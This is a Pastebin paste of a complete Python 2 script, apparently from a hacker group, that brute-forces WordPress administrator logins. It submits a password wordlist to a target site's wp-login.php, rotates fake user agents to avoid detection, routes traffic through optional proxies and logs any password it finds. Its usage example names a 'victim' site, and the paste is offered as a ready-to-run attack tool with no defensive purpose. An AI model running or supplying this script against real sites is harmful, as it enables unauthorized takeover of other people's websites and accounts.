Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import os
- import sys
- import warnings
- import re
- import random
- try:
- import mechanize
- except ImportError:
- print "[*] please install mechanize python module first"
- sys.exit(1)
- except KeyboardInterrupt:
- print "\n[*] exiting program...\n"
- sys.exit(1)
- try:
- import cookielib
- except ImportError:
- print "[*] please install cookielib python module first"
- sys.exit(1)
- except KeyboardInterrupt:
- print "\n[*] exiting program...\n"
- sys.exit(1)
- warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
- # def var
- uproxy = False
- passproxy = False
- verbose = False
- log = 'WJFbruteforcer.log'
- gaza = open(log, "a")
- useragents = ['Mozilla/4.0 ( MSIE 7.0; Windows NT 5.1)',
- 'Mozilla/4.0 (MSIE 5.0; SunOS 5.10 sun4u; X11)',
- 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty)',
- 'Mozilla/4.0 (MSIE 5.5; Windows NT 5.0)',
- 'Mozilla/4.0 (MSIE 7.0b; Windows NT 5.1)',
- 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
- 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
- 'Opera/8.00 (Windows NT 5.1; U; en)',
- 'Mozilla/4.0 (MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
- 'Mozilla/4.0 (MSIE 5.5; Windows NT)',
- 'Mozilla/5.0 (Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
- 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
- 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 [email protected])',
- 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
- ]
- WJF = '''
- #....................................#
- #....##........##.....##.########....#
- #....##........##.....##.##..........#
- #....##........##.....##.##..........#
- #....##...##...##.....##.#####.......#
- #....##..#..#..##.##..##.##..........#
- #....##.#....#.##.##..##.##..........#
- #....##........##.######.##.. v1.0,..#
- #------------------------------------#
- #------------------------------------#
- #---------- By zero_cool ------------#
- #------<<WwW-GaZa-HacKeR.NeT>>-------#
- '''
- option = '''
- Usage : %s [options]
- Option : -u, --username <username> : User for bruteforcing
- -w, --passwordlist <filename> : Wordlist used for bruteforcing
- -v, --verbose : Set %s will be verbose
- -p, --proxy <host:port> : http proxy
- -b, --usernameproxy <username> : username proxy
- -g, --passproxy <password> : password proxy
- -l, --log <filename> :output filename (default : WJFbruteforcer.log)
- -h, --help <help> : Print this help
- -s, --site <site> : site to attack
- Example : %s -s www.victim.com -u admin -w passwordlist.txt"
- ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
- mg = '''
- Usage : %s [option]
- -h or --help for get help
- ''' % sys.argv[0]
- def mig():
- print WJF
- print option
- gaza.write(WJF)
- gaza.write(option)
- sys.exit(1)
- def miig():
- print WJF
- print mg
- gaza.write(WJF)
- gaza.write(mg)
- sys.exit(1)
- for arg in sys.argv:
- try:
- if arg.lower() == '-u' or arg.lower() == '--user':
- username = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-s' or arg.lower() == '--site':
- site = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-w' or arg.lower() == '--passwordlist':
- passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-l' or arg.lower() == '--log':
- log = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-p' or arg.lower() == '--proxy':
- uproxy = True
- proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-b' or arg.lower() == '--userproxy':
- passproxy = True
- py = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-g' or arg.lower() == '--passproxy':
- passproxy = True
- pw = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif arg.lower() == '-v' or arg.lower() == '--verbose':
- verbose = True
- elif arg.lower() == '-h' or arg.lower() == '--help':
- mig()
- elif len(sys.argv) <= 1:
- miig()
- except IOError:
- mig()
- except NameError:
- mig()
- except IndexError:
- mig()
- WJFlogin = 'http://'+site+'/wp-login.php'
- WJFsuccess = 'http://'+site+'/wp-admin/'
- def brute(passwd):
- try:
- sys.stdout.write("\r[*] trying %s..." % passwd)
- gaza.write("[*] trying %s\n" % passwd)
- sys.stdout.flush()
- br.addheaders = [('User-agent', random.choice(useragents))]
- opensite = br.open(WJFlogin)
- br.select_form(nr=0)
- br.form['log'] = username
- br.form['pwd'] = passwd
- br.submit()
- x = br.geturl()
- if x == WJFsuccess:
- print "\n\n[*] Passowrd found...!!!"
- print "[*] Username : %s" % (username)
- print "[*] Password : %s\n" % (passwd)
- gaza.write("\n[*] password found !!!!...")
- gaza.write("\n[*] password : %s" % (username))
- gaza.write("\n[*] password : %s\n\n" % (passwd))
- sys.exit(1)
- except KeyboardInterrupt:
- print "\n[*] exiting program...\n"
- sys.exit(1)
- except mechanize._mechanize.FormNotFoundError:
- print "\n[*] wordpress changing their system , please report bug at [email protected] "
- sys.exit(1)
- except mechanize._form.ControlNotFoundError:
- print "\n[*] wordpress their system, please report bug at [email protected]\n"
- sys.exit(1)
- def point():
- global passwd
- for passwd in passwords:
- brute(passwd.replace("\n",""))
- def main():
- global br
- global passwords
- try:
- br = mechanize.Browser()
- cj = cookielib.LWPCookieJar()
- br.set_cookiejar(cj)
- br.set_handle_equiv(True)
- br.set_handle_gzip(True)
- br.set_handle_redirect(True)
- br.set_handle_referer(True)
- br.set_handle_robots(False)
- br.set_debug_http(False)
- br.set_debug_redirects(False)
- br.set_debug_redirects(False)
- br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
- if uproxy:
- br.set_proxies({"http": proxy})
- if passproxy:
- br.add_proxy_password(pw, py)
- if verbose:
- br.set_debug_http(True)
- br.set_debug_redirects(True)
- br.set_debug_redirects(True)
- except KeyboardInterrupt:
- print "\n[*] exiting program...\n"
- gaza.write("\n[*] exiting program...\n")
- sys.exit(1)
- try:
- preventstrokes = open(passwordlist, "r")
- passwords = preventstrokes.readlines()
- count = 0
- while count < len(passwords):
- passwords[count] = passwords[count].strip()
- count += 1
- except IOError:
- print "\n[*] error: check your passwordlist path\n"
- gaza.write("\n[*] error: Check your passwordlist path\n")
- sys.exit(1)
- except NameError:
- mig()
- except KeyboardInterrupt:
- print "\n[*] exiting program...\n"
- gaza.write("\n[*] exiting program...\n")
- sys.exit(1)
- try:
- print WJF
- print "[*] username to attacking : %s" % (username)
- print "[*] loaded :",len(passwords),"passwords"
- print "[*] attacking, please wait..."
- gaza.write(WJF)
- gaza.write("\n[*] username to attacking %s" % (username))
- gaza.write("\n[*] loaded : %d passwords" % int(len(passwords)))
- gaza.write("\n[*] attacking, please wait...\n")
- except KeyboardInterrupt:
- print "\n[*] exiting program...\n"
- sys.exit(1)
- try:
- point()
- brute(passwd)
- except NameError:
- mig()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment